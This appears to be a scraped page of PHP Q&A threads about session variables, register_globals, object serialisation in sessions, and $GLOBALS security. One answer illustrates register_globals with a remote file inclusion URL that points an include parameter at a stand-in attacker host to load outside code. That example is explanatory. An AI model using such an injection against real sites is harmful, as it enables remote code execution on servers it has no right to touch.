So I'm doing some maintenance on a PHP site that is using $_SESSION variables. I started seeing some very very weird behavior and after hours of debugging I just figured this out. As an example, lets say I have a session variable setup like this:
$_SESSION['user']['id'] = 123;
$_SESSION['user']['firstname'] = 'John';
$_SESSION['user']['lastname'] = 'Doe';
At one point in a script, a call to a MySQL table is made using some Zend classes:
$sql = "SELECT whatever FROM table";
$user = $db->fetchRow($sql);
Now here is where the weirdness starts... After this database call is made, my $_SESSION['user'] array value is all of the sudden changed to be the object that is retrieved from the database call...
Basically: $_SESSION['user'] is now the same as the object that was retrieved using the fetchRow DB method that was supposed to be stored in the variable $user. I've never seen this before.
The only thing I can figure out is because the variable name $user is the same as the $_SESSION['user'] array key name, its acting as like a shortcut or something.
Is this some sort of weird PHP Session shortcuts that I've never heard of before?
On a side note, I know that accessing $_SESSION vars directly is not the best practice. I didn't build this website. My job is just to fix some stuff and add some features.
UPDATE: Sure enough, register_globals is on. Thanks for the quick help guys. No wonder I was seeing such weird behavior.
Sounds like you have register_globals set to On in PHP.ini. Turning it off should fix this.
If you don't have access to change PHP.ini an alternative solution is discussed here
Check if register globals is turned on. Accessing $_SESSION is the only way to access session data safely.
Register globals is an old feature that turned global variables into local variables. The issue with that was you could not safely know where the data was coming from. Something you expected from a session could be set with a get, post or a cookie variable. So it was very easy to bypass security.
Related
I've found a lot of information on session serialization from PHP 5.4 and below, but not much for PHP 7. A couple years ago I was advised to use $_SESSION['var'] = serialize($object); when storing a class variable (class object { public $value; function __construct() { $this->value = new object2(); }}).
Today, I transitioned my code from one development environment to another. The new one seems to dislike = serialize($object); but appears to be fine with = $object.
A few weeks ago I ran across a few posts that mentioned PHP always serializes variables before putting them into sessions, and since this event (During today's search), I've found many of those same posts.
In PHP's documentation, I ran across a mention of session_register(), which apparently was supposed to be used to store objects in session variables... but it was apparently discontinued in 5.3.
Previous testing taught me that assigning session variables with class variables without serializing them first doesn't seem to keep track of class variables well, in particular situations like the above, where a variable is another class variable (object2).
The problems I had seemed hit-and-miss, and was in fact the reason I went looking for an answer and found serialize to begin with, and once I added serialize/unserialize (And no other changes), everything worked as intended.
So, here's my question: What's the 'real' way to handle object serialization for PHP sessions?
$_SESSION['var'] = serialize($object); causes a 500 error. $_SESSION['var'] = $object doesn't have an error, but due to previous issues, I'm not sure how well it works.
While on the topic, what's the best approach for unserializing? $object = unserialize($_SESSION['var']); is my current approach. It doesn't result in an error, but for the sake of possible minor optimization and future knowledge, might as well cover the base.
If my approach (Using serialize() and unserialize()) is correct, what setting(s) would cause serialize() to fail?
If there are any typos in any 'code' piece here, I wrote them inline in the post, so ignore them.
You can save objects in sessions like any other value. At the end of the script the session got serialized and saved anyway:
When PHP shuts down, it will automatically take the contents of the $_SESSION superglobal, serialize it, and send it for storage using the session save handler.
The "main" problem is that for loading the session again the class definition for the object you try to load must be available/loaded before using the session_start(); call. Other than that everything should work just fine.
For your 500 server error, you have to check the error message and/or error log what the problem is.
I am trying to track down the source of a very serious bug in my application. I use a session variable to track the current logged in user which is derived from a database call (via PEAR, configured to return an associative array).
The variable is set up like this:
$_SESSION['u'] =& $db->getRow("SELECT * FROM user WHERE blah");
$u =& $_SESSION['u'];
global $u;
I then use $u in my code throughout to access this data as a shortcut.
This code has been running for years without issue but it seems recently that there have been occasions where users have found themselves logged in as other people. This seems to happen some time after they log in, and they migrate to become someone else. Clearly this is awful.
I was trying to debug but without a repeatable sequence of events this is pretty difficult.
My question is, do you think the setting of the session variable by reference to the database-derived array could be causing it? Could on a further page load, the memory location to which the session variable points be replaced with another user's data from a different session? Or could it be replaced with data from another database call that I am running in this user's session? I understand from reading up subsequently that this code should not be operated like this and have since removed the first & but I would like to have some idea if this could have actually been the problem. I've read that the memory location could get GC'd and turned to nothing, but this doesn't seem to have happened, it only seems to have been corrupted credibly with another user's details.
All help welcome.
I have a settings.php page in my application which uses $GLOBALS to store configurations used in the web app.
As an example, he is a sample setting variable I use:
$GLOBALS["new_login_page"] = 1;
$GLOBALS["secret_cross_check_token"] = 3243242342423;
I then call those globals on other pages (hence why I use $GLOBALS), to perform tasks, such as give a user a new feature if they have that global toggled to 1.
The Question:
This works really well for me and i do not wish to use a database to store them, however recently I came to think, are $GLOBALS secure? Can a user read or manipulate them? If yes, what is the solution???
I understand it is server side but i just had doubts as to whether the user can somehow access the $GLOBALS
A globals variables can only be accessed server side, you can use them safely.
If an user can access your globals variables it's because he has gained access to execute code in your server, so, in this case, he can do a lot of more things than read your globals variables.
If an user can execute code in your server, he will be able to copy all your files and all your database easily, so the access to global variables would not be the major problem.
$GLOBALS is totally secure global variable.
http://php.net/manual/en/reserved.variables.globals.php
users have no access to it.
the "security" was about register_globals directive.
but its removed from php.
http://php.net/manual/en/security.globals.php
the point there was that, for example, i forgot to define some $includeFile as 'inc.php', and i was doing include $includeFile;, someone could just go http://mysite.ru/script.php?includeFile=http://hackersite.ru/script.php and include his own file.
not very good example but something "near".
But it is not about $GLOBALS, so u should not worry about security there.
sorry for english.
Maybe stupid question but its still interesting for me. Is it possible to transfer some data between different sessions? Can I add some variable into another user's $_SESSION directly? Something like this abstract code:
$notMySession = getSessionById('123'); $notMySession['kindaInfo'] = 'something'
No directly you cannot transfer session data from one session to another session. That is what the session is made for.
I hope this helps you.
Each user has its own session, which PHP will use when it speaks to that specific user. That means that each session is isolated from one another.
Since the session is not stored on the users computer, there might be a way to reach the session files from your code and directly modify the files. But that doesn't sound like a particularly sane thing to do.
Using codeigniter running locally on WAMP and dealing with sessions. I tried the default session handler, db session, native session and now db session. They all result in the same issue and I can't for the life of me figure it out.
The problem is that I am trying to set a session variable using a variable. I have confirmed the variable and have echoed it out and all is well in the controller. The controller calls on a view and the variable is there as well. The view calls on a uploader file and this is where the variable randomly gets set to "style.css" for some reason. If I set the session statically, say to "randyval", then it sticks. It's only when trying to use a variable that it breaks.
Using db session allows me to set using:
$some_val = $some_otherVal;
$_SESSION['sess'] = $some_val;
Only in the final page does echo $_SESSION['sess'] result in "style.css".
If however I do:
$_SESSION['sess'] = 'test';
Everything works as should.
Wouldn't ask unless I was at my wits ends... thanks for any input.
Color me stupid. :\ Turns out there was some bad html that was causing the problem(?). It had to do with, yeah, you guessed it, the header and more specifically where the "style.css" file was being called. Not sure why that was wrecking the session, but it indeed was. So, sorry for wasting everyones time, you can go home now.
You should work with CI sessions using Session Class
For any of you who stumbled upon this page, see here for the solution :
I solved it this way : Losing a session variable between one page with codeigniter session library